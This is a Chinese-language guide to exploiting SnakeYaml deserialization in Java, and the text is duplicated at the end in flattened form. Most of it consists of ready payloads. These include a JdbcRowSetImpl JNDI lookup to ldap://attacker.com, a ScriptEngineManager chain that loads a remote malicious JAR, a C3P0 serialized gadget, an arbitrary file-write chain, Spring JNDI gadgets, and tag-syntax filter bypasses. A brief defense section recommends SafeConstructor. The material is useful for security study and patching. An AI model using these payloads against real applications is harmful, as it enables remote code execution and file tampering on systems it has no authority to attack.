SnakeYaml反序列化原理分析和利用总结
字数 1142 2025-08-22 12:22:37

SnakeYaml反序列化漏洞分析与利用指南

1. 前言

本文详细分析SnakeYaml反序列化漏洞的原理和多种利用方式,涵盖基础知识、漏洞原理、多种利用链及绕过技巧。

2. SnakeYaml基础

2.1 依赖引入

<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>

2.2 核心方法

  • Yaml.load(): 反序列化YAML字符串为Java对象
  • Yaml.dump(): 将Java对象序列化为YAML格式

2.3 反序列化过程分析

反序列化过程中会调用:

  1. 目标类的构造方法
  2. 目标类的setter方法

示例代码:

public class Test1 {
    public static void main(String[] args) {
        Deserialize();
    }
    
    public static void Deserialize() {
        String s = "!!User {age: 18, name: ljl}";
        Yaml yaml = new Yaml();
        User user = yaml.load(s);
    }
}

3. 漏洞原理

SnakeYaml反序列化漏洞的核心在于:

  • 可以指定任意类进行反序列化
  • 反序列化过程中会调用类的构造方法和setter方法
  • 如果这些方法中存在危险操作,可导致RCE或其他恶意行为

4. 利用链分析

4.1 JdbcRowSetImpl出网利用

String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://attacker.com/evil, autoCommit: true}";
Yaml yaml = new Yaml();
yaml.load(poc);

4.2 ScriptEngineManager链(SPI机制)

原理
利用SPI(Service Provider Interface)机制,通过远程加载恶意JAR文件实现RCE。

POC:

String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:8888/yaml-payload.jar\"]]]]";
Yaml yaml = new Yaml();
yaml.load(poc);

实现步骤

  1. 准备恶意JAR文件,包含META-INF/services/javax.script.ScriptEngineFactory文件
  2. 文件中指定恶意类名
  3. 恶意类中实现ScriptEngineFactory接口并在静态代码块/构造方法中执行恶意代码

4.3 C3P0不出网利用

利用链:

WrapperConnectionPoolDataSourceBase.setUserOverridesAsString 
→ VetoableChangeSupport.fireVetoableChange 
→ WrapperConnectionPoolDataSource.VetoableChangeListener.vetoableChange 
→ C3P0ImplUtils.parseUserOverridesAsString 
→ SerializableUtils.fromByteArray 
→ SerializableUtils.deserializeFromByteArray 
→ readObject

POC生成步骤:

  1. 使用ysoserial生成序列化payload
  2. 将payload转换为Hex字符串
  3. 构造YAML payload
String HexString = "aced00057372..."; // 生成的Hex字符串
String str = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
    "userOverridesAsString: HexAsciiSerializedMap:" + HexString + ';';
yaml.load(str);

4.4 文件写入利用

原理:
利用MarshalOutputStreamInflaterOutputStreamFileOutputStream实现任意文件写入。

POC生成:

String poc = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"Destpath\"],false],!!java.util.zip.Inflater { input: !!binary base64str },1048576]]";

生成工具:

import org.yaml.snakeyaml.Yaml;
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.zip.Deflater;

public class SnakeYamlOffInternet {
    public static void main(String[] args) throws Exception {
        String poc = createPoC("evil.jar", "./yaml.jar");
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }
    
    public static String createPoC(String SrcPath, String Destpath) throws Exception {
        // 读取文件内容并压缩、Base64编码
        // 返回构造好的POC字符串
    }
    
    public static byte[] compress(byte[] data) {
        // 使用Deflater压缩数据
    }
}

4.5 Spring相关利用链

4.5.1 PropertyPathFactoryBean

依赖要求:

  • snakeyaml
  • spring-beans
  • spring-context
  • spring-core

POC:

String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" +
    " targetBeanName: \"ldap://localhost:1389/Exploit\"\n" +
    " propertyPath: mi1k7ea\n" +
    " beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" +
    " shareableResources: [\"ldap://localhost:1389/Exploit\"]";
yaml.load(poc);

4.5.2 DefaultBeanFactoryPointcutAdvisor

POC:

String poc = "!!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor\n" +
    "adviceBeanName: \"ldap://localhost:1389/Exploit\"\n" +
    "beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" +
    "shareableResources: [\"ldap://localhost:1389/Exploit\"]";
yaml.load(poc);

5. 绕过技巧

5.1 替代!!的表示方式

  1. 使用!<tag>格式:
!<tag:yaml.org,2002:javax.script.ScriptEngineManager> 
[!<tag:yaml.org,2002:java.net.URLClassLoader> 
[[!<tag:yaml.org,2002:java.net.URL> ["http://attacker.com/"]]]]
  1. 使用%TAG声明:
%TAG ! tag:yaml.org,2002:
--- !javax.script.ScriptEngineManager 
[!java.net.URLClassLoader 
[[!java.net.URL ["http://attacker.com/"]]]]

6. 防御建议

  1. 使用安全配置:
Yaml yaml = new Yaml(new SafeConstructor());
  1. 升级到最新版本
  2. 对反序列化的YAML内容进行严格过滤
  3. 限制反序列化的类范围

7. 参考链接

  1. https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml反序列化漏洞/
  2. https://xz.aliyun.com/t/11599
SnakeYaml反序列化漏洞分析与利用指南 1. 前言 本文详细分析SnakeYaml反序列化漏洞的原理和多种利用方式,涵盖基础知识、漏洞原理、多种利用链及绕过技巧。 2. SnakeYaml基础 2.1 依赖引入 2.2 核心方法 Yaml.load() : 反序列化YAML字符串为Java对象 Yaml.dump() : 将Java对象序列化为YAML格式 2.3 反序列化过程分析 反序列化过程中会调用: 目标类的构造方法 目标类的setter方法 示例代码: 3. 漏洞原理 SnakeYaml反序列化漏洞的核心在于: 可以指定任意类进行反序列化 反序列化过程中会调用类的构造方法和setter方法 如果这些方法中存在危险操作,可导致RCE或其他恶意行为 4. 利用链分析 4.1 JdbcRowSetImpl出网利用 4.2 ScriptEngineManager链(SPI机制) 原理 : 利用SPI(Service Provider Interface)机制,通过远程加载恶意JAR文件实现RCE。 POC : 实现步骤 : 准备恶意JAR文件,包含 META-INF/services/javax.script.ScriptEngineFactory 文件 文件中指定恶意类名 恶意类中实现 ScriptEngineFactory 接口并在静态代码块/构造方法中执行恶意代码 4.3 C3P0不出网利用 利用链 : POC生成步骤 : 使用ysoserial生成序列化payload 将payload转换为Hex字符串 构造YAML payload 4.4 文件写入利用 原理 : 利用 MarshalOutputStream 、 InflaterOutputStream 和 FileOutputStream 实现任意文件写入。 POC生成 : 生成工具 : 4.5 Spring相关利用链 4.5.1 PropertyPathFactoryBean 依赖要求 : snakeyaml spring-beans spring-context spring-core POC : 4.5.2 DefaultBeanFactoryPointcutAdvisor POC : 5. 绕过技巧 5.1 替代! !的表示方式 使用 !<tag> 格式: 使用%TAG声明: 6. 防御建议 使用安全配置: 升级到最新版本 对反序列化的YAML内容进行严格过滤 限制反序列化的类范围 7. 参考链接 https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml反序列化漏洞/ https://xz.aliyun.com/t/11599